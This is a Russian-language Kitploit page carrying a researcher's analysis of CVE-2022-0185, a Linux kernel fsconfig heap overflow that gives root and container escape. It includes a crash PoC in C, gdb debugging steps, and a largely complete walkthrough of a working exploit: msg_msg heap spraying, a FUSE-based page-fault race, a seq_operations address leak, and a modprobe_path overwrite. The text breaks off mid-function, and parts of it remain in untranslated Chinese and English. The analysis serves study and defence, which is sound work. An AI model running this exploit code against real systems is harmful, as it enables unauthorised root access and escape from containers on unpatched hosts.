Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-0185 — CVE-2022-0185 PoC, Docker и аналитический отчёт | Kitploit
Инструменты/GitHubGitHub/chenaotian/cve-2022-0185
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеПобег из КонтейнераЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubchenaotian/cve-2022-0185

CVE-2022-0185

CVE-2022-0185 PoC, Docker и аналитический отчёт

Репозиторий
37124 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-0185 повышение привилегий в ядре Linux (побег из контейнера)

[toc]

Описание уязвимости

Идентификатор уязвимости: CVE-2022-0185

Оценка уязвимости:

Уязвимый продукт: linux kernel - fsconfig syscall

Затронутые версии: linux kernel 5.1-rc1 ~ 5.16.2

Условия эксплуатации: локальный доступ к Linux; наличие capability CAP_SYS_ADMIN (можно получить напрямую через unshare, то есть фактически без ограничений)

Результат эксплуатации: локальное повышение привилегий; побег из контейнера

Получение исходного кода: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

или https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/

Подготовка окружения

Отладочное окружение

Docker-образ для компиляции ядра 5.X: chenaotian/kernelcompile

Docker-образ для анализа уязвимости: chenaotian/cve-2022-0185

  • Были подготовлены два ядра: одно дистрибутивное, одно собственной сборки

    • Загруженное дистрибутивное ядро 5.11.0-44 для проверки, отладки и анализа эксплойта (дистрибутивное ядро не падает)
    • Собранное ядро 5.13 с символами для отладки PoC
  • Установка qemu, gdb, gdb-peda и т.д.

  • Материалы, связанные с уязвимостью, находятся в /root/cve-2022-0185

    • boot_exp.sh используется для запуска эксплойта и проверки отладочного окружения; дистрибутивное ядро 5.11.0-44 без символов
    • boot_poc.sh используется для запуска PoC и проверки окружения; может обрушить ядро, но не может запустить эксплойт; собранное ядро 5.13 с символами
    • Каталог exp, исходный код exp (автор: BitsByWill), достаточно скомпилировать exploit_fuse.

Окружение qemu: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp

Среда проверки на ubuntu20.04

Среда для запуска эксплойта на виртуальной машине ubuntu 20.04; запуск исходного exp

Подготовьте виртуальную машину ubuntu20.04, затем замените ядро:```shell apt-get install linux-image-5.11.0-44-generic

grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以

#编译exp make fuse ./exploit

root@kitploit:~
Эффект повышения привилегий

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## Принцип уязвимости

Уязвимость возникает в системном вызове `fsconfig` при использовании опции `FSCONFIG_SET_STRING`. Этот системный вызов используется для настройки уже открытого контекста файловой системы. **Предварительным требованием является наличие capability `CAP_SYS_ADMIN`**:

> Основная цель `fsopen` — создать контекст файловой системы, связать его с файловым дескриптором и вернуть файловый дескриптор. После `fsopen` идёт `fsconfig`; как можно догадаться из названия, мы создали контекст файловой системы через `fsopen`, а `fsconfig`, вероятно, используется для настройки содержимого контекста файловой системы. На самом деле `fsconfig` действительно в основном выполняет эту настройку, но помимо контекста файловой системы он также поддерживает и другие операции.

### Место возникновения уязвимости

Сначала уязвимость проявляется в функции `legacy_parse_param`:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

Ключевой момент заключается в последующем memcpy, который копирует переданный нами param->string в ctx->legacy_data. А проверка на выход за границы копирования выполняется предыдущим условием (len > PAGE_SIZE - 2 - size). В этой проверке есть проблема: тип сравнения — size_t, то есть unsigned int. Если size > PAGE_SIZE - 2, происходит целочисленное переполнение с инверсией, из-за чего len < PAGE_SIZE - 2 - size, и проверка проходит. При последующем копировании size оказывается больше PAGE_SIZE - 2, что приводит к выходу за границы копирования.

Используемые структуры данных:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };

struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };

struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };

root@kitploit:~
### Путь вызова

Ниже проанализируем стек вызовов функций. Прежде всего, точка входа — это, безусловно, системный вызов `fsconfig`:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

В входной точке системного вызова fsconfig сначала на основе файлового дескриптора fd инициализируется структура контекста файловой системы fc, затем на основе переданных пользователем параметров устанавливается структура param; эта переменная структуры — тот самый param, который позже используется в уязвимой функции legacy_parse_param. Далее выполняется вход в функцию vfs_fsconfig_locked:

linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;

root@kitploit:~
ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

}

root@kitploit:~
Сначала вызывается функция `finish_clean_context`, в которой вызывается функция `legacy_init_fs_context` для регистрации таблицы функций обратного вызова. Эта таблица функций обратного вызова включает функцию `legacy_parse_param`, в которой находится уязвимость.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

После завершения регистрации входим в функцию vfs_parse_fs_param для обработки параметров; здесь вызывается только что зарегистрированная функция обратного вызова, то есть уязвимая функция.

linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···

root@kitploit:~
if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

} EXPORT_SYMBOL(vfs_parse_fs_param);

root@kitploit:~
Общий обзор выглядит следующим образом

- SYSCALL_DEFINE5(fsconfig,... : точка входа системного вызова
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : регистрация таблицы функций обратного вызова
    - vfs_parse_fs_param
      - legacy_parse_param : уязвимость

## PoC воспроизведения уязвимости

PoC воспроизведения уязвимости:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

После статической компиляции упакуйте его в файловую систему и используйте qemu для запуска ядра.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh

root@kitploit:~
В другом терминале используйте gdb для удалённой отладки:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

При первом вызове:

legacy_data ещё не инициализирован:

image-20220218115424519

Позже будет вызван kmalloc для инициализации, после чего входная строка будет скопирована в legacy_data. К моменту возврата функции первая строка уже скопирована, и перед ней будет добавлено ',=', длина составит 0x69.

image-20220218115629610

Поскольку мы вызываем fsconfig несколько раз для копирования строк, каждый раз передавая 0x67 символов 'A', а функция legacy_parse_param добавляет в начало ',=', длина каждой копии составляет 0x69. После 39 копий длина legacy_data достигнет 0xfff. Останавливаемся после 39 копий и смотрим:

image-20220218120003864

Обнаруживаем, что data_size у legacy_data уже достиг 0xfff

image-20220218143242019

Область памяти размером 0x1000, выделенная через kmalloc, тоже почти исчерпана. Смотрим место, где происходит уязвимость:

image-20220218143643847

0x68 меньше инвертированного 0xffff...., проверка пройдена, после копирования происходит выход за границы, перезаписывающий последующее содержимое памяти:

image-20220218143840967

Затем при дальнейшем запуске ядро падает:

image-20220218144210566

[Ориг.] Эксплойт EXP

Согласно writeup автора эксплойта: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. Он реализовал два способа эксплуатации: повышение привилегий на ubuntu 20.04 с версией ядра 5.11.0-44 и способ, позволивший получить награду в Google KCTF. Здесь в основном анализируется эксплуатация на ubuntu 20.04 с версией ядра 5.11.0-44.

Предварительные знания

msg_msg — произвольное чтение и запись по адресу

Автор этого эксплойта ранее использовал этот метод эксплуатации в двух CTF-задачах: fire_of_salvation и wall_of_perdition на corCTF 2021. Путём переполнения или UAF-операции перезаписывается структура заголовка сообщения msg_msg для выполнения произвольного чтения/записи по адресу. Здесь мы не будем подробно разбирать этот метод, а только ту его часть, которая используется в задаче.

msgsnd и msgrcv — это функции, предоставляемые ядром для отправки и получения сообщений при межпроцессном взаимодействии. Общая логика: сообщение отправляется в ядро, ядро поддерживает соответствующую очередь сообщений, а при приёме сообщение извлекается из очереди.

Определение исходного кода msgsnd: основную функциональность выполняет do_msgsnd:

linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;

root@kitploit:~
··· ···
//后面代码将msg 添加到消息队列。    
··· ···

}

long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }

root@kitploit:~
`do_msgsnd` Максимальная длина сообщения, разрешённая `do_msgsnd`, составляет 8192:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

Затем необходимо подробно проанализировать функцию `load_msg`, поскольку в функции `load_msg` для выделения пространства памяти и организации структуры сообщения используется функция `alloc_msg`. Сначала разберём функцию `alloc_msg`:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

这里根据消息的长度将消息分段,如果消息长度+消息头长度 大于一页(4k),则会被分段存储,第一段是消息头+消息段1,消息头中有指针指向第二段;第二段是消息段头+消息段2.... 根据上文提到的消息长度最大为8192,则消息最多分为3段。而每一段最大长度为一页(4k),最少也要包括消息头长度为0x30,所以我们能控制的堆分配大小范围为kmalloc-64~kmalloc-4k 。其中,消息头结构体和消息段头结构体如下:

Здесь сообщение разбивается на сегменты в зависимости от его длины: если длина сообщения + длина заголовка сообщения больше одной страницы (4K), то оно сохраняется сегментированно. Первый сегмент — это заголовок сообщения + сегмент сообщения 1, в заголовке сообщения есть указатель на второй сегмент; второй сегмент — это заголовок сегмента сообщения + сегмент сообщения 2.... Согласно упомянутому выше, максимальная длина сообщения составляет 8192, поэтому сообщение делится максимум на 3 сегмента. Максимальная длина каждого сегмента — одна страница (4K), а минимально он должен включать заголовок сообщения длиной 0x30, поэтому диапазон размеров выделения кучи, которым мы можем управлять, составляет kmalloc-64~kmalloc-4k. Структуры заголовка сообщения и заголовка сегмента сообщения выглядят следующим образом:```c struct msg_msg {//消息头结构体 struct list_head m_list; //两个指针 long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void security; / the actual message follows immediately */ }; struct msg_msgseg { struct msg_msgseg next; / the next part of the message follows immediately */ };

root@kitploit:~
Таким образом, структура сообщений выглядит примерно так:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

Сообщения хранятся в очереди сообщений, управляемой двусвязным списком; сами сообщения хранятся сегментами, связанными односвязным списком. Максимальная длина каждого сегмента — одна страница (4 КБ). Далее разберём функцию `do_msgsnd`:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝,这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

Оставшаяся часть просто последовательно копируется из пользовательского пространства в соответствии с сегментацией сообщения.

Далее рассмотрим функцию приёма сообщений msgrcv, аналогично основная логика находится в функции do_msgrcv. Здесь упомянем небольшую деталь, не анализируя подробно:

linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t)) { ··· ··· if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息 return PTR_ERR(copy); } ··· ··· for (;;) { ··· ··· msg = find_msg(msq, &msgtyp, mode); if (!IS_ERR(msg)) { ··· ··· if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中 goto out_unlock0; } ··· ··· }
··· ··· } ··· ··· bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户 free_msg(msg); //释放消息备份

root@kitploit:~
return bufsz;

}

root@kitploit:~
When the `MSG_EXCEPT` flag is present in `msgflg` (default configuration, compile option `CONFIG_CHECKPOINT_RESTORE`), backup message sending is used. The specific logic is: first allocate a message structure as a message backup, after finding the message, first copy it into the backup, then send it to user space, then release the backup. **Thus the original message will not be unlinked from the queue** — what we want is precisely "the action of not unlinking the original message from the queue". Because sometimes when we overflow, we overwrite the doubly linked list pointers in the message header, which would crash during `unlink`, and that is not the desired result.

That's about all the knowledge points. The exploitation techniques involved are:

- Using the `msgsnd` function allows spraying in the `kmalloc-64` ~ `kmalloc-4k` range (traditional technique)
- If we can overwrite the `m_ts` member of the `msg_msg` header, we change the message length and cause out-of-bounds read (new technique)
- If we can overwrite the `struct msg_msgseg *next` member of the `msg_msg` header **during load_msg**, then we can achieve arbitrary address read/write; this usually requires exploiting a `userfaulted` race condition, but the latest kernels no longer allow calling `userfaulted` from user space. Here a new method is used.

#### Replacement for userfaulted

Based on the analysis of the `load_msg` function above, after `alloc_msg` allocates memory for the message, it copies the message from user space. If the message is a relatively long segmented message, it needs to be copied segment by segment. If we can cause a page fault while copying the first segment, making the copy operation hang until the exception handling finishes, then during that time we can use the overflow to overwrite the `msg_msgseg *next` pointer in `msg_msg`. Once exception handling completes and copying of the second segment resumes, it becomes an arbitrary content overwrite to an address we specify (arbitrary address write).

Usually this requires registering a user-space `page fault` handler, but new versions do not allow calling the `userfaulted` syscall without privileges. Here a new method is provided: the `fuse` user-space file system. Using `fuse`, you can register a user-space file system with its own `read`, `write` and other functions, so when a page fault occurs, it still returns to user space to handle the interrupt.

It is worth mentioning that fuse itself has no statically compiled library. BitsByWill and D3v17 trimmed it, cutting out dlopen and some other things, and made a statically compilable libfuse3.a. Say thank you, BitsByWill and D3v17.

[Reference](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### Address leak

This is also a routine operation in kernel pwn: use the `seq_operations` structure to leak addresses, as it is full of function pointers:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

А именно, при открытии /proc/self/stat вызывается функция single_open, которая инициализирует структуру seq_operations:```c int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) { struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT); int res = -ENOMEM;

root@kitploit:~
if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

··· ··· }

root@kitploit:~
Инициализировать все указатели на функции в структуре `single_open` как функции ядра; утечка любого из них позволит раскрыть базовый адрес ядра.

#### Повышение привилегий

Традиционный приём kernel pwn — `modprobe_path`, строка в ядре, указывающая на путь, по умолчанию /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

Когда запускается файл с нераспознанным форматом, ядро обращается к файлу, на который указывает modprobe_path, и запускает его. Это выполняется ядром, поэтому права root. Обычно если можно изменить эту строку, считается, что повышение привилегий успешно.

Анализ эксплойта (оригинал)

Здесь мне не удалось собрать окружение, подходящее для запуска эксплойта (я слишком слаб), поэтому я просто скопировал vmlinuz из установленного через apt пакета 5.11.0-44-generic и использовал его. После запуска qemu отладка действительно работала. Возможно, из-за плохой настройки части cap или fuse при запуске эксплойта от непривилегированного пользователя возникают проблемы, поэтому при отладке в qemu я запускал эксплойт от root — ведь эксплойт изменяет modprobe_path в ядре.

Чтобы получить эксплойт, перейдите напрямую на GitHub автора. В окружении Ubuntu 20 он компилируется. Я же здесь только проанализировал, отладил и проверил его.

Структура эксплойта:

CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···

root@kitploit:~
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

}

root@kitploit:~
Эксп в основном делится на две части: утечка и запись по произвольному адресу.

#### Утечка базового адреса ядра

Я думаю, часть утечки в этом эксплойте очень умно устроена: сначала переполнение перезаписывает неиспользуемую часть, затем выделяется структура, которую необходимо перезаписать переполнением, чтобы не задеть части, отличные от целевой, и далее переполнение продолжается для точного перезаписывания цели.

В основном это функция `do_leak`

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列,每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
     *刚好覆盖m_ts,修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}
  1. Здесь до и после операции переполнения с помощью msgsnd раскладываются чанки kmalloc в куче; конкретная длина сообщения — 0x1018-0x30 = 0xfe8. Согласно структуре сообщения, оно будет разделено на две части: 0xfd и 0x18:

    • Первая часть: заголовок сообщения msg_msg (0x30) и сообщение (0xfd) вместе дают 0x1000, относится к kmalloc-4k
    • Вторая часть: заголовок сегмента сообщения msg_msgseg (0x8) и сообщение (0x18) вместе дают 0x20, относится к kmalloc-32
  2. Готовим переполнение: с помощью fsconfig заполняем длину legacy_data (запрашиваемая длина 4096, относится к kmalloc-4k) до 4095. Здесь используется 33 символа 'A', но фактически каждый раз добавляются ещё два символа ",=", так что реально за одну итерацию заполняется 35 символов; 117 итераций дают ровно 4095.

    Начальный адрес страницы и конец страницы:

    image-20220304094122226

Изменения памяти кучи на шагах 2–6 показаны на рисунке: красная стрелка указывает на позицию, куда будет указывать указатель legacy_data + size в fsconfig:

image-20220304093434300

Запись по произвольному адресу для завершения повышения привилегий

Эта часть уже проще. Как упоминалось выше, мы вызываем сбой страницы (page fault) в copy_from_user внутри msgsnd, чтобы обработка прерывания выполнялась в обработчике зарегистрированной нами пользовательской файловой системы fuse. В течение этого времени с помощью переполнения fsconfig перезаписываем второй сегмент сообщения.```c void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); //[1]在0x1337000 mmap 一页 void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾 rooter->mtype = 1; size = 0x1010;

root@kitploit:~
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
